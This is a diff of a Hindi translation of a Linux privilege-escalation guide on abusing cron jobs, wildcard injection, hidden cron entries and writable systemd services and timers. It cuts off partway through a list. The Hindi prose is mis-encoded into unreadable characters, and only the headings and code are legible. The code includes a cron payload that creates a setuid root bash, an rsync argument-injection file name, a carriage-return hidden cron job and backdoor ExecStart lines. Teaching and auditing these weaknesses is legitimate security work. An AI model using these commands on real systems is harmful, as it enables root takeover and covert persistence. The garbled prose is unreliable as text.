рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реА рд╣реИ (рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХрдордЬреЛрд░? рдХреНрдпрд╛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рд╕рд┐рдореНрд▓рд┐рдВрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ?)ред +рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдп рдХрдордЬреЛрд░ рд╣реИред рд╢рд╛рдпрдж рдЖрдк рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ (рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХрдордЬреЛрд░? рдХреНрдпрд╛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рд╕рд┐рдореНрд▓рд┐рдВрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ?)ред ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -328,7 +328,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "user" рдХреЗ рдкрд╛рд╕ /home/user рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ_) рдпрджрд┐ рдЗрд╕ рдХреНрд░реЙрдирдЯреИрдм рдХреЗ рдЕрдВрджрд░ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрд┐рдирд╛ рдкрде рд╕реЗрдЯ рдХрд┐рдП рдХреБрдЫ рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _\* \* \* \* root overwrite.sh_\ -рддреЛ, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рддреЛ, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -рдпрджрд┐ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬрд┐рд╕реЗ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рдХрдорд╛рдВрдб рдХреЗ рдЕрдВрджрд░ тАЬ**\***тАЭ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЪреАрдЬреЗрдВ (рдЬреИрд╕реЗ privesc) рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг: +рдпрджрд┐ рдХреЛрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬрд┐рд╕реЗ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рдХрдорд╛рдВрдб рдХреЗ рдЕрдВрджрд░ тАЬ**\***тАЭ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЪреАрдЬреЗрдВ (рдЬреИрд╕реЗ privesc) рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### рдЕрджреГрд╢реНрдп рдХреНрд░реЛрди рдЬреЙрдмреНрд╕ -рдПрдХ рдХреНрд░реЛрдирдЬреЙрдм рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ **рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдХреЗ рдмрд╛рдж рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдбрд╛рд▓рдХрд░** (рдмрд┐рдирд╛ рдиреНрдпреВрд▓рд╛рдЗрди рдХреИрд░реЗрдХреНрдЯрд░ рдХреЗ), рдФрд░ рдХреНрд░реЛрди рдЬреЙрдм рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдХреИрд░реЗрдХреНрдЯрд░ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ): +рдПрдХ рдХреНрд░реЛрдирдЬреЙрдм рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП **рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдХреЗ рдмрд╛рдж рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдбрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ** (рдмрд┐рдирд╛ рдиреНрдпреВрд▓рд╛рдЗрди рдХреИрд░реЗрдХреНрдЯрд░ рдХреЗ), рдФрд░ рдХреНрд░реЛрди рдЬреЙрдм рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдХреИрд░реЗрдХреНрдЯрд░ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Writable _.service_ files -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА `.service` рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ **рдЖрдкрдХрд╛ рдмреИрдХрдбреЛрд░ рдЪрд▓рд╛рдП** рдЬрдм рд╕реЗрд╡рд╛ **рд╢реБрд░реВ**, **рдкреБрдирдГ рд╢реБрд░реВ** рдпрд╛ **рд░реЛрдХ рджреА** рдЬрд╛рддреА рд╣реИ (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдорд╢реАрди рдХреЗ рдкреБрдирд░рд╛рд░рдВрдн рд╣реЛрдиреЗ рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝реЗ)ред\ +рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА `.service` рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ **рдЖрдкрдХрд╛ рдмреИрдХрдбреЛрд░ рдЪрд▓рд╛рдП** рдЬрдм рд╕реЗрд╡рд╛ **рд╢реБрд░реВ**, **рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн** рдпрд╛ **рд░реЛрдХ рджреА рдЬрд╛рдП** (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдорд╢реАрди рдХреЗ рдкреБрдирд░рд╛рд░рдВрдн рд╣реЛрдиреЗ рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝реЗ)ред\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, .service рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдЕрдкрдиреЗ рдмреИрдХрдбреЛрд░ рдХреЛ **`ExecStart=/tmp/script.sh`** рдХреЗ рд╕рд╛рде рдмрдирд╛рдПрдВред ### Writable service binaries -рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдмрд╛рдЗрдирд░реА рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ**, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдмреИрдХрдбреЛрд░ рдХреЗ рд▓рд┐рдП рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛рдПрдВ рдлрд┐рд░ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВ, рддреЛ рдмреИрдХрдбреЛрд░ рдЪрд▓рд╛рдП рдЬрд╛рдПрдВред +рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдмрд╛рдЗрдирд░реА рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ**, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдмреИрдХрдбреЛрд░ рдХреЗ рд▓рд┐рдП рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛рдПрдВ рдлрд┐рд░ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВ, рддреЛ рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВред ### systemd PATH - Relative Paths @@ -399,7 +399,7 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -рдлрд┐рд░, рдПрдХ **executables** рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдХрд╛ **рдирд╛рдо рдЙрд╕ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдмрд╛рдЗрдирд░реА** рдХреЗ рд╕рдорд╛рди рд╣реЛ рдЬреЛ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЬрдм рд╕реЗрд╡рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХреНрд░рд┐рдпрд╛ (**Start**, **Stop**, **Reload**) рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХрд╛ **backdoor рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛** (рдЕрдзрд┐рдХрд╛рд░рд╣реАрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдорддреМрд░ рдкрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╢реБрд░реВ/рд░реЛрдХ рдирд╣реАрдВ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред +рдлрд┐рд░, рдПрдХ **рдХрд╛рд░реНрдпрдХрд╛рд░реА** рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдХрд╛ **рдирд╛рдо рдЙрд╕ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдмрд╛рдЗрдирд░реА** рдХреЗ рд╕рдорд╛рди рд╣реЛ рдЬреЛ systemd PATH рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЬрдм рд╕реЗрд╡рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХреНрд░рд┐рдпрд╛ (**Start**, **Stop**, **Reload**) рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХрд╛ **рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛** (рдЕрдзрд┐рдХрд╛рд░рд╣реАрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдорддреМрд░ рдкрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╢реБрд░реВ/рд░реЛрдХ рдирд╣реАрдВ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред **рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ `man systemd.service` рдХреЗ рд╕рд╛рдеред** @@ -419,18 +419,18 @@ Unit=backdoor.service ``` рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдореЗрдВ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпреВрдирд┐рдЯ рдХреНрдпрд╛ рд╣реИ: -> рдЬрдм рдпрд╣ рдЯрд╛рдЗрдорд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпреВрдирд┐рдЯред рддрд░реНрдХ рдПрдХ рдпреВрдирд┐рдЯ рдирд╛рдо рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрд╕рд░реНрдЧ ".timer" рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдорд╛рди рдЙрд╕ рд╕реЗрд╡рд╛ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдЯрд╛рдЗрдорд░ рдпреВрдирд┐рдЯ рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЙрдкрд╕рд░реНрдЧ рдХреЗред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдпреВрдирд┐рдЯ рдХрд╛ рдирд╛рдо рдФрд░ рдЯрд╛рдЗрдорд░ рдпреВрдирд┐рдЯ рдХрд╛ рдирд╛рдо рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдирд╛рдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рд╕рд┐рд╡рд╛рдп рдЙрдкрд╕рд░реНрдЧ рдХреЗред +> рдЬрдм рдпрд╣ рдЯрд╛рдЗрдорд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпреВрдирд┐рдЯред рддрд░реНрдХ рдПрдХ рдпреВрдирд┐рдЯ рдирд╛рдо рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрд╕рд░реНрдЧ ".timer" рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдорд╛рди рдЙрд╕ рд╕реЗрд╡рд╛ рдХрд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдЯрд╛рдЗрдорд░ рдпреВрдирд┐рдЯ рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЙрдкрд╕рд░реНрдЧ рдХреЗред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдпреВрдирд┐рдЯ рдХрд╛ рдирд╛рдо рдФрд░ рдЯрд╛рдЗрдорд░ рдпреВрдирд┐рдЯ рдХрд╛ рдирд╛рдо рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдирд╛рдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рд╕рд┐рд╡рд╛рдп рдЙрдкрд╕рд░реНрдЧ рдХреЗред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЪрд╛рд╣рд┐рдП: -- рдХреБрдЫ systemd рдпреВрдирд┐рдЯ (рдЬреИрд╕реЗ `.service`) рдЦреЛрдЬреЗрдВ рдЬреЛ **рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА** рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд░рд╣рд╛ рд╣реИ -- рдХреБрдЫ systemd рдпреВрдирд┐рдЯ рдЦреЛрдЬреЗрдВ рдЬреЛ **рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде** рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **systemd PATH** рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ (рдЙрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреА рдирдХрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП) +- рдХреБрдЫ systemd рдпреВрдирд┐рдЯ (рдЬреИрд╕реЗ `.service`) рдЦреЛрдЬреЗрдВ рдЬреЛ **рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА** рдЪрд▓рд╛ рд░рд╣реА рд╣реИ +- рдХреБрдЫ systemd рдпреВрдирд┐рдЯ рдЦреЛрдЬреЗрдВ рдЬреЛ **рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде** рдЪрд▓рд╛ рд░рд╣реА рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **systemd PATH** рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ (рдЙрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреА рдирдХрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП) **`man systemd.timer` рдХреЗ рд╕рд╛рде рдЯрд╛рдЗрдорд░реНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред** ### **рдЯрд╛рдЗрдорд░ рд╕рдХреНрд╖рдо рдХрд░рдирд╛** -рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд░реВрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛: +рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд░реВрдЯ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЪрд╛рд╣рд┐рдП рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer тЖТ /lib/systemd/system/backu2.timer. @@ -445,15 +445,15 @@ Sockets рдХреЛ `.socket` рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХ **`man systemd.socket` рдХреЗ рд╕рд╛рде рд╕реЙрдХреЗрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред** рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░, рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: рдпреЗ рд╡рд┐рдХрд▓реНрдк рдЕрд▓рдЧ рд╣реИрдВ рд▓реЗрдХрд┐рди рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ **рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕реЙрдХреЗрдЯ рдкрд░ рдХрд╣рд╛рдВ рд╕реБрдирдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ** (AF_UNIX рд╕реЙрдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде, рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП IPv4/6 рдФрд░/рдпрд╛ рдкреЛрд░реНрдЯ рдирдВрдмрд░, рдЖрджрд┐) -- `Accept`: рдПрдХ рдмреВрд▓рд┐рдпрди рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИред рдпрджрд┐ **рд╕рддреНрдп**, рддреЛ **рдкреНрд░рддреНрдпреЗрдХ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдЙрджрд╛рд╣рд░рдг рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ** рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди рд╕реЙрдХреЗрдЯ рдЗрд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ **рдЭреВрда**, рддреЛ рд╕рднреА рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯ рд╕реНрд╡рдпрдВ **рд╢реБрд░реВ рдХреА рдЧрдИ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ** рдХреЛ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рдпрд╣ рдорд╛рди рдбрд╛рдЯрд╛рдЧреНрд░рд╛рдо рд╕реЙрдХреЗрдЯ рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдПрдХрд▓ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рдмрд┐рдирд╛ рд╢рд░реНрдд рд╕рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдВрднрд╛рд▓рддреА рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЭреВрдард╛ рд╣реИ**ред рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдирдП рдбреЗрдордиреЛрдВ рдХреЛ рдХреЗрд╡рд▓ `Accept=no` рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рддрд░реАрдХреЗ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, 